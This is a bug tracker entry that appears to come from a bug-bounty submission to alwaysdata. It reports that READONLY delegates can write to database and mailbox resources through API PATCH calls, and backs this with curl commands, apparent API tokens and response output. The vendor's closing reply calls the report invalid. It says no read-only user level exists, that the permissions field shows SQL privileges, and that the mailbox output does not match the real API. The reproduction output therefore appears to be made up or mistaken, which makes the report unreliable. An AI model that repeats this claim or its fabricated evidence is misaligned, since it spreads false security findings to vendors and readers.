Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by basitasif1998 - 26.11.2026
Last edited by cbay - 26.11.2026

FS#566 - Broken Access Control - READONLY Permission Not Enforced on API Write (PATCH) Operations

Vulnerability: Broken Access Control , READONLY Permission Not Enforced on API Write (PATCH) Operations

Vulnerable URLs:

https://api.alwaysdata.com/v1/database/{id}/
https://api.alwaysdata.com/v1/mailbox/{id}/
Severity: Medium CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (Base Score 6.5)

Description:

alwaysdata lets an account owner add a second user and restrict them to a specific permission level — e.g. "READONLY" — on one specific resource, set from that resource's own Permissions tab in admin.alwaysdata.com. The web UI respects this correctly: log in as that READONLY delegate and you simply can't edit the resource from the site.

The API doesn't follow the same rule, though. If that same delegate hits the resource's endpoint directly with a PATCH request instead of going through the website, the request goes through and the change actually saves — I didn't just check the status code, I re-fetched the resource afterward and the field had genuinely changed. I saw the exact same behavior on two completely different resource types (database and mailbox), which tells me the permission check is missing somewhere shared in the API, not just forgotten on one endpoint.

Impact:

Anyone who hands a collaborator, contractor, or employee "read-only" access on alwaysdata isn't actually getting what that phrase implies — it only holds if that person stays in the browser.
A "read-only" delegate can quietly change resource settings (I tested the annotation field specifically, but since there's no check at all on the write path, it's reasonable to assume other fields on the same resources are just as exposed) without the owner ever knowing.

The admin panel keeps showing the delegate as read-only the whole time, so the owner has no reason to suspect anything's wrong.
Since this isn't tied to one resource type, it's likely the same gap exists across other resource types under api.alwaysdata.com/v1/ — I didn't go test every single one, mainly to avoid poking more of the platform than necessary for a PoC, but the pattern suggests it's systemic rather than a one-off.

Steps to Reproduce:

As the account owner, create a resource , I used a MySQL database, dua_testdb1 (id 505950) , and add a second/delegate user to the account.
Grant the delegate the "Databases" permission category, then go into the database's own Permissions tab and set the delegate's level to READONLY.
Log in as the delegate on admin.alwaysdata.com and confirm you genuinely can't edit the database from the UI.
Still as the delegate, send a GET to https://api.alwaysdata.com/v1/database/505950/ — it correctly reports "permissions": {"dua": "READONLY"}.
Now send a PATCH to that same endpoint, changing the annotation field.
Instead of a 403, you get back 204 No Content.
Send another GET , the annotation really did change, so this isn't a fake success response.
Repeat the same sequence on a different resource type , I used a mailbox, id 662477 , to rule out this being specific to how the database resource is coded.

POC:

Step 1 — delegate reads the database, permission correctly shows as READONLY:

curl -s "https://api.alwaysdata.com/v1/database/505950/" -u "942e2b12af924354bd256a74f41d124a:"

{

  "id": 505950,
  "name": "dua_testdb1",
  "type": "MYSQL",
  "href": "/v1/database/505950/",
  "annotation": "",
  "permissions": { "dua": "READONLY" }

}
Step 2 — same delegate sends a PATCH anyway:

curl -s -D - -X PATCH "https://api.alwaysdata.com/v1/database/505950/" \

  1. u "942e2b12af924354bd256a74f41d124a:" \
  2. H "Content-Type: application/json" \
  3. d '{"annotation": "read-only-bypass-test"}'

HTTP/1.1 204 No Content
Step 3 — confirming it actually wrote, not just a fake 204:

curl -s "https://api.alwaysdata.com/v1/database/505950/" -u "942e2b12af924354bd256a74f41d124a:"

{

  "id": 505950,
  "name": "dua_testdb1",
  "type": "MYSQL",
  "href": "/v1/database/505950/",
  "annotation": "read-only-bypass-test",
  "permissions": { "dua": "READONLY" }

}
Step 4 — ran it again to make sure it wasn't a one-time fluke:

curl -s -X PATCH "https://api.alwaysdata.com/v1/database/505950/" \

  1. u "942e2b12af924354bd256a74f41d124a:" -H "Content-Type: application/json" \
  2. d '{"annotation": "retest-readonly-bypass-2"}'

HTTP/1.1 204 No Content

→ GET confirms: "annotation": "retest-readonly-bypass-2"
Step 5 — same exact thing on a mailbox instead, to check it's not just a database quirk:

curl -s "https://api.alwaysdata.com/v1/mailbox/662477/" -u "942e2b12af924354bd256a74f41d124a:"

{

  "id": 662477,
  "name": "dua",
  "annotation": "",
  "permissions": { "dua": "READONLY" }

}

curl -s -D - -X PATCH "https://api.alwaysdata.com/v1/mailbox/662477/" \

  1. u "942e2b12af924354bd256a74f41d124a:" \
  2. H "Content-Type: application/json" \
  3. d '{"annotation": "mailbox-readonly-bypass-test"}'

HTTP/2 204

curl -s "https://api.alwaysdata.com/v1/mailbox/662477/" -u "942e2b12af924354bd256a74f41d124a:"
→ "annotation": "mailbox-readonly-bypass-test" (confirmed persisted)
Step 6 — cleaned everything back up right after, using the owner's own token:

curl -s -X PATCH "https://api.alwaysdata.com/v1/database/505950/" \

  1. u "8a15510d54fc42f0ac67227c813dff11:" -H "Content-Type: application/json" -d '{"annotation": ""}'

→ 204 No Content

curl -s -X PATCH "https://api.alwaysdata.com/v1/mailbox/662477/" \

  1. u "8a15510d54fc42f0ac67227c813dff11:" -H "Content-Type: application/json" -d '{"annotation": ""}'

→ 204 No Content

Mitigation:

Have the API actually check the stored permission level (READONLY vs full access) before allowing PATCH/PUT/DELETE, the same way it's already checked before allowing them from the admin UI.

Put that check somewhere shared — a base view/serializer that every resource type goes through — instead of handling it per-resource, so one fix covers all of them instead of patching database and mailbox separately and leaving the rest exposed.
Add a regression test that sends a write request with a READONLY token against every resource type and expects a 403 — so this doesn't quietly come back later.

   POC.rar (136 KiB)
Closed by  cbay
26.11.2026 13:27
Reason for closing:  Invalid
Admin
cbay commented on 26.11.2026 13:27

Hello,

Thanks for the report. This is not a vulnerability. The permissions field on /v1/database/{id}/ lists the SQL privileges of database users (here the MySQL user dua) on that database, not the access level of the alwaysdata user making the API call. alwaysdata user permissions are per category (e.g. "Databases"), with no read-only level: a user granted "Databases" has full access to the account's databases, in the panel and through the API alike. Also, /v1/mailbox/{id}/ exposes no permissions field, so the Step 5 output does not match our API.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing